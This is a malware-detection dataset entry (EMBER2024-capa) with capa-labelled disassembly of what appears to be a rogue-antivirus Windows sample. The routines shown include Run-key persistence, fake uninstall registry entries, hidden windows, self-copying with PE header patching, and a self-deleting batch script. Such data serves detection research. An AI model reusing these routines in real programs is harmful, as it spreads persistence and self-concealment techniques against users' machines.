joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001af6
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov ecx, esi
lea edx, [ebp - 0x74]
mov dword [ebp - 0x7c], 0x104
call fcn.1400bde4
lea ecx, [ebp - 0x74]
call fcn.1400bdc8
add eax, eax
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x78]
push eax
push 0xf003f
push 0
mov eax, str.TPGUXBSF_Njdsptpgu_Xjoepxt_DvssfouWfstjpo_Svo
call fcn.1401c4b3
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001b89
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x14001b89
mov ecx, ebx
call fcn.1400bdc8
add eax, eax
push eax
push ebx
push 1
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x194]
xor ecx, ebp
call fcn.1401f2d2
add ebp, 0x198
leave
ret

Function at 0x14001ba7
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push esi
push edi
mov dword [ebp - 0x80], eax
xor edi, edi
mov eax, str.Tztufn_Tfdvsjuz_311:
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
call fcn.1401c4b3
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x74]
mov esi, eax
call fcn.1400bde4
mov edx, 0x14038c2c
lea ecx, [ebp - 0x74]
call fcn.1400bd9e
lea eax, [ebp - 0x7c]
push eax
push 0xf003f
push edi
mov eax, str.TPGUXBSF_Njdsptpgu_Xjoepxt_DvssfouWfstjpo_Vojotubmm
call fcn.1401c4b3
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001ca2
lea eax, [ebp - 0x78]
push eax
mov eax, str.TztufnTfdvsjuz311:
call fcn.1401c4b3
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ecx, esi
call fcn.1400bdc8
add eax, eax
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 1
push edi
push str.DisplayName
push dword [ebp - 0x78]
call esi
mov ecx, ebx
call fcn.1400bdc8
add eax, eax
push eax
push ebx
push 1
push edi
push str.ShortcutPath
push dword [ebp - 0x78]
call esi
mov ecx, ebx
call fcn.1400bdc8
add eax, eax
push eax
push ebx
push 1
push edi
push str.UninstallString
push dword [ebp - 0x78]
call esi
lea ecx, [ebp - 0x74]
call fcn.1400bdc8
add eax, eax
push eax
mov eax, ecx
push eax
push 1
push edi
push str.DisplayIcon
push dword [ebp - 0x78]
call esi
push dword [ebp - 0x78]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0x7c]
call esi
mov ecx, dword [ebp + 0x194]
pop edi
xor ecx, ebp
pop esi
call fcn.1401f2d2
add ebp, 0x198
leave
ret
Function at 0x140022c3
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x50]
cmp eax, dword [esp + 8]
jne 0x14002307
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esi + 0x114]
jne 0x14002307
push ecx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push dword [0x14045bbc]
mov al, 1
call fcn.1401d226
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.1401c496
xor eax, eax
pop esi
ret 0xc
Function at 0x1400526b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x140355dc
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x14043524]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push dword [ebp + 8]
mov edi, dword [0x140463ec]
push edi
call fcn.1400519e
xor esi, esi
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x1400549d
lea ecx, [edi + 0x114]
mov eax, dword [ecx]
mov dword [eax + 0x18c], esi
mov edx, dword [ecx]
push 0x64
pop eax
mov dword [edx + 0x190], eax
mov ecx, dword [ecx]
call fcn.140048b0
push dword [esp + 0x14]
call fcn.14006ef1
pop ecx
test al, al
je 0x1400549d
push 0x401
push dword [0x14045bbc]
call dword [sym.imp.USER32.dll_KillTimer]
push 1
call fcn.1400a590
push 0x12c
call fcn.1401f740
mov ebx, eax
pop ecx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x28], esi
cmp ebx, esi
je 0x14005344
push 0x96
push 0x118
push 0x30
push str.Registered
call fcn.1400bb2d
push eax
push str.Registration
call fcn.1400bb2d
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.14017055
mov esi, eax
or dword [esp + 0x28], 0xffffffff
test esi, esi
je 0x14005493
mov ecx, str.Registration
call fcn.1400ba22
mov eax, dword [esi + 0x120]
mov dword [eax + 0x11c], 0x10
mov eax, dword [esi + 0x120]
mov ebx, dword [eax]
push str.Registered
sub ebx, 0xffffff80
call fcn.1400bb2d
mov ecx, dword [esi + 0x120]
push eax
call dword [ebx]
mov eax, dword [esi + 0x120]
push 0x32
pop ecx
mov edx, 0xe6
call fcn.1401d18e
mov eax, dword [esi + 0x120]
mov edx, dword [eax + 8]
mov ecx, dword [eax + 0xc]
add edx, 0x28
call fcn.1401d174
mov eax, dword [esi + 0x120]
mov dword [eax + 0x118], 0x10
call fcn.14001d74
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
mov eax, dword [0x14045b7c]
test eax, eax
je 0x140053e8
push 0
push dword [eax + 0x50]
mov byte [eax + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x14045bc0]
test eax, eax
je 0x14005403
push 0
push dword [eax + 0x50]
mov byte [eax + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 8
push dword [0x14045be8]
call fcn.14008781
push 1
call fcn.1400a590
push dword [0x14045bbc]
mov al, 1
call fcn.1401d226
push dword [esp + 0x14]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, 0x1403922c
call fcn.1400ba22
push str.BtnContinue
lea ebx, [edi + 0x118]
call fcn.1400bb2d
mov esi, dword [ebx]
push eax
call fcn.1401d0b0
mov esi, dword [ebx]
call fcn.1401d2b6
mov edi, dword [edi + 0x11c]
xor esi, esi
push esi
push dword [edi + 0x50]
mov byte [edi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x14045be8]
mov eax, dword [eax + 0x120]
mov eax, dword [eax + 0x158]
push esi
push esi
push 0x202
push dword [eax + 0x50]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x1400549d
push dword [esp + 0x14]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x14005ae9
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x50]
cmp ecx, dword [esp + 8]
jne 0x14005b20
mov eax, dword [esi + 0x114]
cmp dword [esp + 0xc], eax
jne 0x14005b20
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.1401c496
xor eax, eax
pop esi
ret 0xc
Function at 0x140064a2
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x50]
cmp eax, dword [esp + 8]
jne 0x140064d4
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esi + 0x114]
jne 0x140064d4
push ecx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 0xc

Function at 0x14006f8b
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp + 0x398], eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x1400706a
lea eax, [ebp - 0x80]
push eax
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x1400706a
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
jne 0x14006ff6
push dword [ebp - 0x80]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1400706a
push esi
push dword [ebp - 0x80]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x78]
lea edx, [ebp + 0x190]
call fcn.1400bde4
mov eax, str._Tztufn_Tfdvsjuz_mol
call fcn.1401c4b3
mov edx, eax
lea ecx, [ebp + 0x190]
call fcn.1400bd9e
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp + 0x190]
push eax
call esi
lea ecx, [ebp - 0x78]
lea edx, [ebp + 0x190]
call fcn.1400bde4
mov eax, str._Tztufn_Tfdvsjuz_311:_mol
call fcn.1401c4b3
mov edx, eax
lea ecx, [ebp + 0x190]
call fcn.1400bd9e
lea eax, [ebp + 0x190]
push eax
call esi
pop esi
mov ecx, dword [ebp + 0x398]
xor ecx, ebp
call fcn.1401f2d2
add ebp, 0x39c
leave
ret
Function at 0x1400707f
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push 0x24c
lea eax, [ebp - 0x664]
push esi
push eax
mov dword [ebp - 0x668], esi
call fcn.1401f600
add esp, 0xc
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x14007233
lea eax, [ebp - 0x670]
push eax
push 2
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x14007233
lea eax, [ebp - 0x418]
push eax
push dword [ebp - 0x670]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x670]
test eax, eax
mov eax, dword [ebp - 0x66c]
mov ecx, dword [eax]
push eax
jne 0x14007117
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x66c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x14007233
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x66c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, str._Tztufn_Tfdvsjuz
call fcn.1401c4b3
mov edx, eax
lea ecx, [ebp - 0x418]
call fcn.1400bd9e
lea ecx, [ebp - 0x418]
lea edx, [ebp - 0x210]
call fcn.1400bde4
mov edx, str..
lea ecx, [ebp - 0x210]
call fcn.1400bd9e
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x140071f8
lea eax, [ebp - 0x63c]
push 0x140399d4
push eax
call fcn.1401fd6c
pop ecx
pop ecx
test eax, eax
je 0x140071e6
lea eax, [ebp - 0x63c]
push 0x140399d8
push eax
call fcn.1401fd6c
pop ecx
pop ecx
test eax, eax
je 0x140071e6
lea ecx, [ebp - 0x418]
lea edx, [ebp - 0x210]
call fcn.1400bde4
mov edx, 0x14038ae0
lea ecx, [ebp - 0x210]
call fcn.1400bd9e
lea edx, [ebp - 0x63c]
lea ecx, [ebp - 0x210]
call fcn.1400bd9e
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x668]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14007179
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x80
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x418]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14007233
lea eax, [ebp - 0x418]
push eax
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1401f2d2
leave
ret
Function at 0x14007240
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea ecx, [ebp - 8]
push ecx
xor eax, eax
push 0xf003f
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push 0x80000002
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140072d3
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov ebx, str.TztufnTfdvsjuz311:
mov eax, ebx
call fcn.1401c4b3
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, str.DisplayName
push edi
push dword [ebp - 4]
call esi
push str.ShortcutPath
push dword [ebp - 4]
call esi
push edi
push dword [ebp - 4]
call esi
push str.DisplayIcon
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
mov eax, ebx
call fcn.1401c4b3
push eax
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x140072d5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.14006f8b
call fcn.1400707f
call fcn.14007240
mov ecx, dword [0x14045bec]
lea edx, [ebp - 0x210]
call fcn.1400bde4
push dword [0x14045ca8]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x14039a48
push eax
mov eax, 0x104
call fcn.1400c621
add esp, 0x10
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1401f2d2
leave
ret
Function at 0x14007347
Capabilities:
Create process on windows
Query environment variable
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x10f]
push ebx
push eax
mov byte [ebp - 0x110], bl
call fcn.1401f600
add esp, 0xc
push esi
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call fcn.1401f600
add esp, 0xc
mov esi, 0x400
push esi
call fcn.1401fb64
mov dword [ebp - 0x220], eax
mov eax, dword [0x14045c1c]
pop ecx
cmp eax, ebx
jne 0x140073b9
mov eax, esi
call fcn.1400cbe2
mov dword [0x14045c1c], eax
push 0x3ff
push eax
push str._TEMP_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [0x14045c14]
mov edi, dword [0x14045c1c]
call fcn.1400cbf1
mov esi, 0x104
mov eax, esi
call fcn.1400cbe2
push 0x14039a58
mov dword [0x14045c14], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
push str._ws_08d._ws
push dword [0x14045c14]
mov eax, esi
call fcn.1400c621
mov eax, dword [0x14045c14]
add esp, 0x14
push ebx
push 0x80
push 2
push ebx
push 2
push 0x1f01ff
push eax
mov dword [0x14045b68], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x14045bd4]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x224]
push eax
push ebx
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.1400bdc8
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
push ecx
push ebx
push 1
call edi
mov ecx, dword [0x14045b68]
lea eax, [ebp - 0x224]
push eax
push ebx
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.1400bdc8
push eax
push ecx
push ebx
push 1
call edi
mov esi, dword [ebp - 0x220]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x110]
push eax
push eax
push str._ECHO_OFF_r_n:Repeat_r_nerase___s____nul_r_nif_exist___s__goto_Repeat_r_nerase___s____nul
push esi
call fcn.1400c634
add esp, 0x14
lea eax, [ebp - 0x228]
push ebx
push eax
mov ecx, esi
call fcn.1400bd87
push eax
push esi
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
push dword [0x14045b68]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, esi
call fcn.1400cbf1
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140090dd
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x14045c58]
push ebx
push esi
push edi
lea edx, [ebp - 0x210]
mov dword [ebp - 0x46c], ecx
mov byte [ebp - 0x461], 0
call fcn.1400bde4
mov edx, str..exe
lea ecx, [ebp - 0x210]
call fcn.1400bd9e
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x468], eax
cmp eax, 0xffffffff
je 0x140091f4
mov eax, 0x104
call fcn.1400cbe2
lea ecx, [ebp - 0x434]
mov esi, eax
call fcn.1400bdc8
mov edi, eax
push edi
mov edx, esi
xor ebx, ebx
call fcn.1400be04
pop ecx
dec edi
test edi, edi
jle 0x1400919c
cmp word [ebp + edi*2 - 0x434], 0x2e
jne 0x14009168
test edi, edi
jle 0x14009196
lea eax, [ebp - 0x434]
mov ecx, esi
sub eax, esi
mov edx, edi
mov ebx, edi
mov di, word [eax + ecx]
mov word [ecx], di
inc ecx
inc ecx
dec edx
jne 0x1400918a
xor eax, eax
mov word [esi + ebx*2], ax
call fcn.1400909c
test al, al
jne 0x140091c5
mov eax, esi
call fcn.1400cbf1
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14009144
jmp 0x140091f4
mov ecx, dword [ebp - 0x46c]
mov edx, 0x14038ae0
call fcn.1400bd9e
mov ecx, dword [ebp - 0x46c]
lea edx, [ebp - 0x434]
call fcn.1400bd9e
mov eax, esi
mov byte [ebp - 0x461], 1
call fcn.1400cbf1
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x461]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1401f2d2
leave
ret
Function at 0x14009215
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x14045b6c]
push ebx
push esi
push edi
mov byte [ebp - 0x259], 0
call fcn.1400cbf1
mov esi, 0x104
mov eax, esi
call fcn.1400cbe2
cmp dword [0x14045c58], 0
mov dword [0x14045b6c], eax
jne 0x14009262
mov eax, esi
call fcn.1400cbe2
mov dword [0x14045c58], eax
push dword [0x14045b6c]
call fcn.140074ee
mov esi, dword [0x14045c58]
pop ecx
mov ecx, dword [0x14045b6c]
mov edx, esi
call fcn.1400bde4
mov edx, 0x14039da4
mov ecx, esi
call fcn.1400bd9e
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1400935c
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea esi, [ebp - 0x22c]
call fcn.1400909c
test al, al
je 0x14009346
mov eax, esi
push eax
push eax
push dword [0x14045b6c]
push 0x14039da8
push dword [0x14045c58]
call fcn.1400c609
add esp, 0x14
push dword [0x14045c58]
call edi
cmp eax, 0xffffffff
jne 0x14009378
mov eax, esi
push eax
push eax
push dword [0x14045b6c]
push str._s_spc_sreg
push dword [0x14045c58]
call fcn.1400c609
add esp, 0x14
push dword [0x14045c58]
call edi
cmp eax, 0xffffffff
jne 0x14009378
mov esi, dword [0x14045c58]
mov ecx, dword [0x14045b6c]
mov edx, esi
call fcn.1400bde4
lea edx, [ebp - 0x22c]
mov ecx, esi
call fcn.1400bd9e
call fcn.140090dd
mov byte [ebp - 0x259], al
test al, al
jne 0x14009378
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140092ac
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0x259]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1401f2d2
leave
ret
mov al, 1
jmp 0x14009369
Function at 0x140093b5
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x14045bf4]
push ebx
push esi
mov dword [ebp - 0x18], eax
xor ebx, ebx
mov esi, 0x400
push edi
mov eax, esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], ebx
call fcn.1400cbb7
push ebx
push 0x80
push 3
push ebx
push 1
push 0x1f01ff
push dword [ebp - 0x18]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x140094a1
push ebx
lea ecx, [ebp - 0x14]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0xc], edi
sub dword [ebp - 0xc], 0x14039de0
mov ecx, dword [ebp - 8]
lea edx, [edi + ecx]
mov dword [ebp - 4], 0xc
mov eax, str.This_program
test edx, edx
je 0x14009451
mov edx, dword [ebp - 0xc]
add edx, ecx
mov cl, byte [edx + eax]
cmp cl, bl
je 0x1400944c
cmp dword [ebp - 4], ebx
jbe 0x1400944f
cmp byte [eax], cl
jne 0x14009451
inc eax
dec dword [ebp - 4]
cmp byte [eax], bl
jne 0x14009434
cmp dword [ebp - 4], ebx
je 0x1400945f
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x3f4
jb 0x14009419
jmp 0x140094a1
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x14009473
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [0x14045c24], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x14045c24]
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
add eax, 0x20
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
call fcn.1400cbf1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x140094b6
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x14045bf4]
push ebx
push esi
mov esi, dword [0x14045bd4]
mov dword [ebp - 0x10], eax
push edi
mov eax, 0x400
call fcn.1400cbb7
mov dword [ebp - 8], eax
xor eax, eax
inc eax
xor ebx, ebx
push ebx
lea edi, [eax + 0x7f]
push edi
push 3
push ebx
push eax
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
call esi
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x14009558
push ebx
push edi
push 2
push ebx
push 2
push 2
push dword [ebp - 0x10]
call esi
mov esi, eax
jmp 0x14009541
cmp esi, 0xffffffff
je 0x14009546
push ebx
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], ebx
jbe 0x14009546
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], ebx
ja 0x1400950f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov al, 1
jmp 0x1400955a
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1400955f
Capabilities:
Create directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
and dword [ebp - 0x38], 0
push ebx
push esi
push edi
push 0x34
lea eax, [ebp - 0x34]
push 0
push eax
call fcn.1401f600
add esp, 0xc
call fcn.14009215
test al, al
je 0x140095b2
mov esi, dword [0x14045c58]
mov edx, dword [0x14045bd4]
mov eax, esi
call fcn.1400be60
test al, al
jne 0x140095a6
call fcn.1400937c
pop edi
pop esi
pop ebx
leave
ret
push esi
call fcn.1400170b
pop ecx
call fcn.14007347
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push eax
push str.1_06d4
push dword [0x14045ca8]
mov esi, 0x104
mov eax, esi
call fcn.1400c621
add esp, 0xc
call edi
add eax, 0x3e7
push eax
push str.9_06d6
push dword [0x14045bcc]
mov eax, esi
call fcn.1400c621
add esp, 0xc
push dword [0x14045c30]
call fcn.140074ee
mov edi, dword [0x14045c30]
mov edx, dword [0x14045ca8]
pop ecx
mov ecx, edi
call fcn.1400bd9e
mov ebx, 0x14038ae0
mov edx, ebx
mov ecx, edi
call fcn.1400bd9e
push dword [0x14045c54]
call fcn.140074ee
mov edi, dword [0x14045c54]
mov edx, dword [0x14045bcc]
pop ecx
mov ecx, edi
call fcn.1400bd9e
mov edx, ebx
mov ecx, edi
call fcn.1400bd9e
push dword [0x14045ca8]
mov edi, str._ws_ws.exe
push dword [0x14045c30]
mov eax, esi
push edi
push dword [0x14045bf4]
call fcn.1400c621
push dword [0x14045bcc]
mov eax, esi
push dword [0x14045c54]
push edi
push dword [0x14045c9c]
call fcn.1400c621
add esp, 0x20
xor esi, esi
push esi
push dword [0x14045c30]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.140094b6
test al, al
jne 0x140096a2
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140093b5
mov ecx, dword [0x14045bf4]
call fcn.1400104d
mov eax, dword [0x14045c30]
mov dword [ebp - 0x24], eax
mov eax, dword [0x14045ca8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x14045bf4]
mov dword [ebp - 0x20], eax
mov eax, dword [0x14045b88]
mov dword [ebp - 0x30], eax
mov eax, dword [0x14045c68]
lea edi, [ebp - 0x38]
mov byte [ebp - 7], 1
mov byte [ebp - 5], 0
mov byte [ebp - 6], 1
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xc], 0x14045c2c
call fcn.14001cc9
push 0x40
push str.WARNING_
mov eax, str.Tztufn_Tfdvsjuz_311:_tvddfttgvmmz_jotubmmfe__
call fcn.1401c4b3
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1401c5d9
push dword [0x14045bf4]
call fcn.1400170b
mov dword [esp], 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0xffffffffffffffff
push esi
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x140095ad